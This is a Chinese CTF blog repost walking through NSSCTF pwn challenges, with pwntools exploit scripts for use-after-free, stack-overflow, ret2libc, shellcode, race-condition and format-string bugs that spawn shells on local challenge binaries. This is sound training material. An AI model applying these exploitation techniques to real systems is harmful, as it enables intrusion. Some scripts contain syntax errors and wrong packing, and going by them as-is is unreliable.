    free((&page)[v1]);
  return __readgsdword(0x14u) ^ v2;

在释放了堆后并没有置零,导致下一次申请同一块堆时可以构造UAF漏洞执行任意代码。
具体操作可以看我的这篇文章:[NISACTF 2022]UAF

from pwn import *

Local = 0
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/NISACTF_2022_UAF')
else:
    io = remote('127.0.0.1',10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/NISACTF_2022_UAF')

context(arch='i386', os='linux', log_level='debug')


def malloc_chunk():
    io.recvuntil(b':')
    io.sendline(b'1')


def edit_chunk(index, content):
    io.recvuntil(b':')
    io.sendline(b'2')
    io.recvuntil(b'page\n')
    io.sendline(str(index))
    io.recvuntil(b'strings\n')
    io.sendline(content)


def free_chunk(index):
    io.recvuntil(b':')
    io.sendline(b'3')
    io.recvuntil(b'page\n')
    io.sendline(str(index))


def use_chunk(index):
    io.recvuntil(b':')
    io.sendline(b'4')
    io.recvuntil(b'page\n')
    io.sendline(str(index))


system_plt = elf.plt['system']

malloc_chunk()
free_chunk(0)
malloc_chunk()
edit_chunk(1, b'sh;\x00' + p32(system_plt))
use_chunk(0)
io.interactive()

[NISACTF 2022]ezheap

知识点:

无脑传入/bin/sh\x00即可

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

EXP:

无脑传入/bin/sh\x00即可,因为s与command是紧邻的。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

from pwn import *

Local = 0
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/pwn')
else:
    io = remote('127.0.0.1',10001)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/pwn')

context(arch='amd64', os='linux', log_level='debug')

Payload = b'/bin/sh\x00' * 0x100
io.sendline(Payload)
io.interactive()

[HGAME 2022 week1]test your gdb

知识点:

泄露Canary,gdb动态调试

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

unsigned __int64 __fastcall work(void *a1)
{
  char v2[256]; // [rsp+0h] [rbp-150h] BYREF
  __int64 v3[2]; // [rsp+100h] [rbp-50h] BYREF
  __int64 s2[2]; // [rsp+110h] [rbp-40h] BYREF
  char buf[16]; // [rsp+120h] [rbp-30h] BYREF
  char v6[24]; // [rsp+130h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+148h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v3[0] = 0xBA0033020LL;
  v3[1] = 0xC0000000D00000CLL;
  s2[0] = 0x706050403020100LL;
  s2[1] = 0xF0E0D0C0B0A0908LL;
  SEED_KeySchedKey(v2, v3);
  SEED_Encrypt(s2, v2);
  init_io();
  puts("hopefully you have used checksec");
  puts("enter your pass word");
  read(0, buf, 0x10uLL);
  if ( !memcmp(buf, s2, 0x10uLL) )
  {
    write(1, v6, 0x100uLL);
    gets(v6);
  }
  else
  {
    read(0, v6, 0x10uLL);
  }
  return __readfsqword(0x28u) ^ v7;
}

EXP:

主要的函数是这个,加密了s2,然后与输入的buf做对比,如果buf = s2 ,则可以进入下一阶段,也就是栈溢出阶段。

from pwn import *

Local = 0
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/test_gdb')
else:
    io = remote('127.0.0.1',10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/test_gdb')

context(arch='amd64', os='linux', log_level='debug')

v2 = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
backdoor = 0x401256
Padding = b'A' * (0x20 - 0x08)

io.recvuntil(b'word\n')
io.send(v2)
io.recv(0x18)
Canary = u64(io.recv(8))

log.success("Canary: " + (hex(Canary)))

Payload_Shell = Padding + p64(Canary) + p64(0) + p64(backdoor)
io.sendline(Payload_Shell)
io.interactive()

关于为什么得用io.send(v2)
v2的长度已经是16字节了,sendline会发送一个\n,这样就不对了。

[HNCTF 2022 Week1]ezr0p32

知识点:

将/bin/sh送入bss段

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

int dofunc()
{
  char buf[28]; // [esp+Ch] [ebp-1Ch] BYREF

  system("echo welcome to xzctf,have a fan time\n");
  puts("please tell me your name");
  read(0, &::buf, 0x100u);
  puts("now it's your play time~");
  read(0, buf, 0x30u);
  return 0;
}

EXP:

很基础的栈溢出,但是第一个read指向的是bss段,NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
我们可以将binsh送入bss段,然后调用system执行即可getshell。

from pwn import *

Local = 0
amd64 = 0
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/ezr0p')
else:
    io = remote('127.0.0.1',10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/ezr0p')

if amd64 == 1:
    context(arch='amd64', os='linux', log_level='debug')
else:
    context(arch='i386', os='linux', log_level='debug')

Padding = b'A' * (0x1C + 0x04)
system_plt = elf.plt['system']
buf = 0x804A080

Payload = Padding + p32(system_plt) + p32(0) + p32(buf)
io.recvline()
io.sendline(b'/bin/sh\x00')
io.recvline()
io.sendline(Payload)
io.recv()
io.interactive()

[BJDCTF 2020]babyrop

知识点:

ret2libc

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

不能再基础的栈溢出漏洞,配合ret2libc。

EXP:

from pwn import *
from PwnModules import *

Local = 1
amd64 = 1
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/BJDCTF_Babyrop')
else:
    io = remote('127.0.0.1', 10001)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/BJDCTF_Babyrop')

if amd64 == 1:
    context(arch='amd64', os='linux', log_level='debug')
else:
    context(arch='i386', os='linux', log_level='debug')

Padding = b'A' * (0x20 + 0x08)
rdi = 0x400733
ret = 0x4004c9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']

Payload_Leak = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)

io.recvuntil(b'story!\n')
io.sendline(Payload_Leak)

Address = leak_addr(1, io)
log.success('Address: ' + (hex(Address)))

all_in_one = libc_remastered('puts', Address)

base_addr = (all_in_one[0])
system_addr = (all_in_one[1])
binsh_addr = (all_in_one[2])

Payload = Payload_64(Padding, system_addr, binsh_addr, rdi, ret)
io.sendline(Payload)
io.interactive()

简化部分:

from LibcSearcher import *
from pwn import u64 , u32 , tube , p64 , p32


def leak_addr(i, io_i):
    if i == 1:
        address_internal = u64(io_i.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
        return address_internal
    else:
        address_internal = u32(io_i.recv(4))
        return address_internal


def libc_remastered(func, addr_i):
    libc_i = LibcSearcher(func, addr_i)
    libc_base_i = addr_i - libc_i.dump(func)
    sys_i = libc_base_i + libc_i.dump('system')
    sh_i = libc_base_i + libc_i.dump('str_bin_sh')
    return libc_base_i, sys_i, sh_i
   

def Payload_32(Padding_I, system_i , binsh_i):
    Payload_I = Padding_I + p32(system_i) + p64(binsh_i)
    return Payload_I


def Payload_64(Padding_I, system_i, binsh_i, rdi_i, ret_i):
    Payload_I = Padding_I + p64(ret_i) + p64(rdi_i) + p64(binsh_i) + p64(system_i)
    return Payload_I

[WUSTCTF 2020]getshell2

知识点:

ret2text

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
源码很简单,攻击只需要从/bbbbbbbbin_what_the_f?ck__–??/sh中截取sh即可。

EXP:

from pwn import *
from PwnModules import *

Local = 0
amd64 == 0
if Local = 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/getshell2')
else:
    io = remote('127.0.0.1', 10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/getshell2')

if amd64 == 1:
    context(arch='amd64', os='linux', log_level='debug')
else:
    context(arch='i386', os='linux', log_level='debug')

Padding = b'A' * (0x18 + 0x04)

system = 0x8048529
sh = 0x8048670

Payload = Payload_32_N(Padding, system, sh)
io.recv()
io.sendline(Payload)
io.interactive()

[NSSCTF 2022 Spring Recruit]R3m4ke?

知识点:

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
不多说了,直接上EXP

EXP:

from pwn import *
from PwnModules import *

Local = 0
amd64 = 1
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/r3m4ke1t')
else:
    io = remote('127.0.0.1', 10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/r3m4ke1t')

if amd64 == 1:
    context(arch='amd64', os='linux', log_level='debug')
else:
    context(arch='i386', os='linux', log_level='debug')

Padding = b'A' * (0x20 + 0x08)
ret = 0x40057E

system = 0x400730

Payload = Payload_64_Direct(Padding, system, ret)
io.recv()
io.sendline(Payload)
io.interactive()

[HNCTF 2022 Week1]ret2shellcode

知识点:

ret2shellcode,mprotect函数修改buff段为可执行,将return地址覆盖为buff起始地址即可。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
源码没什么好看的。

EXP:

from pwn import *
from PwnModules import *

Local = 0
amd64 = 1
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/shellcode')
else:
    io = remote('127.0.0.1', 10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/shellcode')

if amd64 == 1:
    context(arch='amd64', os='linux', log_level='debug')
else:
    context(arch='i386', os='linux', log_level='debug')

sc = 0x4040A0
Payload = asm(shellcraft.sh()).ljust(0x108, b'\x00') + p64(sc)
io.sendline(Payload)
io.interactive()

[HNCTF 2022 Week1]easyoverflow

知识点:

ret2text

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
不说废话,直接上EXP

EXP:

from pwn import *
from PwnModules import *

Local = 0
amd64 = 1
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/easy_overflow')
else:
    io = remote('127.0.0.1', 10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/easy_overflow')

if amd64 == 1:
    context(arch='amd64', os='linux', log_level='debug')
else:
    context(arch='i386', os='linux', log_level='debug')

ret = 0x40101A
Padding = b'A' * (0x30 + 0x08)
system = 0x4001214

Payload = Payload_64_Direct(Padding, system, ret)
io.sendline(Payload)
io.interactive()

[NISACTF 2022]shop_pwn

知识点:

多线程竞争
如果没有特殊设定,我们同时执行多个命令,命令的效果会同时执行,也就是如果我有一块钱,我可以在一定时间内买很多很多个一块钱的东西。

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
初始拥有一个回收价99块钱的pen,还自带一百块钱,我们只要卖出2次即可购买flag。

EXP:

from pwn import *

Local = 0
amd64 = 1
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/shop_pwn')
else:
    io = remote('127.0.0.1', 10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/shop_pwn')

io.recvuntil(b'> ')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'2')
sleep(0.1)
io.sendline(b'1')
sleep(0.1)
io.sendline(b'1')
io.interactive()

每一条sendline都有他的意义,顺序如下:
sale goods
pen
sale goods
pen
buy goods
flag
当然你可以自己手动购买。

[HNCTF 2022 Week1]fmtstrre

知识点:

格式化字符串

Checksec & IDA

NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  void *v5; // [rsp+100h] [rbp-10h]
  int fd; // [rsp+10Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  puts("Welcome to the world of fmtstr");
  puts("> ");
  fd = open("flag", 0);
  if ( fd == -1 )
    perror("Open failed.");
  read(fd, &name, 0x30uLL);
  v5 = &name;
  puts("Input your format string.");
  read(0, buf, 0x100uLL);
  puts("Ok.");
  printf(buf);
  return 0;
}

EXP:

程序将flag读入了v5,我们可以通过printf函数泄露flag。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
可以看到flag位于name处,name也就是v5。
我们只需要使用fmtarg计算偏移即可。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
但是我们发现使用39会报错
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
那就试38呗。
NSSCTF Pwn Page 1 - 2,Pwn,linux,网络安全,python,网络,学习
问题解决。文章来源地址https://www.toymoban.com/news/detail-738913.html

from pwn import *

Local = 0
if Local == 1:
    io = process('/home/kaguya/pwn_deploy_chroot/bin/ezfmt')
else:
    io = remote('127.0.0.1', 10000)
elf = ELF('/home/kaguya/pwn_deploy_chroot/bin/ezfmt')

io.sendline(b'%38$s')
io.interactive()

到了这里,关于NSSCTF Pwn Page 1 - 2的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 深入探索:Kali Linux 网络安全之旅

    目录 前言 访问官方网站 导航到下载页面 启动后界面操作 前言 \\\"Kali\\\" 可能指的是 Kali Linux,它是一种基于 Debian 的 Linux 发行版,专门用于渗透测试、网络安全评估、数字取证和相关的安全任务。Kali Linux 旨在提供一系列用于测试网络和系统安全性的工具,以及为安全专业人员

    2024年02月12日
    浏览(45)
  • Linux网络操作实操指南:从网络配置到安全管理

    Linux是一种开源的操作系统,具有稳定性高、安全性好、可定制性强等优点。作为一名Linux用户,掌握基本的Linux网络操作是非常必要的。以下是Linux网络操作的几个方面,包括具体的实操步骤: 1. 网络配置 Linux中的网络配置需要设置IP地址、子网掩码、网关等参数,以实现网

    2024年02月09日
    浏览(47)
  • 【文末送书】Kali Linux与网络安全

    欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C++、Python、Matlab,机器人运动控制、多机器人协作,智能优化算法,滤波估计、多传感器信息融合,机器学习,人工智能等相关领域的知识和技术。关注公粽号 《机器和智能》 回复 “python项目

    2024年02月08日
    浏览(42)
  • 【网络安全】-Linux操作系统—操作系统发展历史与Linux

    操作系统(Operating System,简称OS)是管理计算机硬件与软件资源的系统软件,它是计算机系统的核心与基石。操作系统的发展历史可以追溯到20世纪50年代。 初期的操作系统 在计算机技术的早期,操作系统并不存在。那时,计算机使用一种叫做批处理系统的方式来运行程序。

    2024年02月03日
    浏览(63)
  • 拒绝网络攻击--nginx和linux的安全加固

    隐藏nginx版本号 安装启服务 访问不存在的路径 如果访问页面不存在就会暴露nginx版本号,进一步提高了被攻击的可能性 命令行访问: 隐藏版本信息 再次访问不存在的路径,版本号消失 防止DOS、DDOS攻击 DDOS:分布式拒绝服务 配置nginx连接共享内存为10M,每秒钟只接收一个请

    2023年04月26日
    浏览(54)
  • Kali Linux:网络与安全专家的终极武器

    Kali Linux,对于许多网络和安全专业人士来说,这是一个无人不知、无人不晓的名字。它是专为网络和安全测试、渗透测试以及数字取证等任务而设计的强大操作系统。本篇文章将深入介绍Kali Linux的特点、优势以及如何使用它来进行各种安全任务。 Kali Linux 是一款基于 Debian

    2024年02月06日
    浏览(39)
  • 网络安全 Day11-Linux文件属性及权限知识

    作用: 给文件或目录加锁不让改不让删除 语法: chattr 选项 文件 选项属性 -i 个文件加锁不能删改 -a 可以追加内容 选项动作 - 减少 + 增加 练习: 给文件加锁-查看属性-更改文件-解锁-查看属性 生产应用: 想要快捷的对上锁的文件进行改动可以考虑使用脚本 查看文件属性: ls -

    2024年02月13日
    浏览(54)
  • kali linux网络安全弱口令爆破常用命令(二)

    Kali Linux中的Hydra是一款强大的网络登录破解工具,它支持多种协议,如FTP、SSH、Telnet等。弱口令爆破是一种常见的网络攻击手段,通过尝试不同的用户名和密码组合来获取系统的访问权限。Hydra是一款强大的暴力破解工具,可以用于执行弱口令爆破。 1. 主机(Host): 要尝试

    2024年02月03日
    浏览(52)
  • 如何使用Kali Linux的Nmap网络安全扫描神器

    一、背景介绍 nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。 通常我们在进行网络安全测试

    2024年04月26日
    浏览(43)
  • 最新Kali Linux安装教程:从零开始打造网络安全之旅

    Kali Linux,全称为Kali Linux Distribution,是一个操作系统(2013-03-13诞生),是一款基于Debian的Linux发行版,基于包含了约600个安全工具,省去了繁琐的安装、编译、配置、更新步骤,为所有工具运行提供了一个稳定一致的操作系统基础,专注于网络安全、渗透测试和数字取证等领域

    2024年02月12日
    浏览(61)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包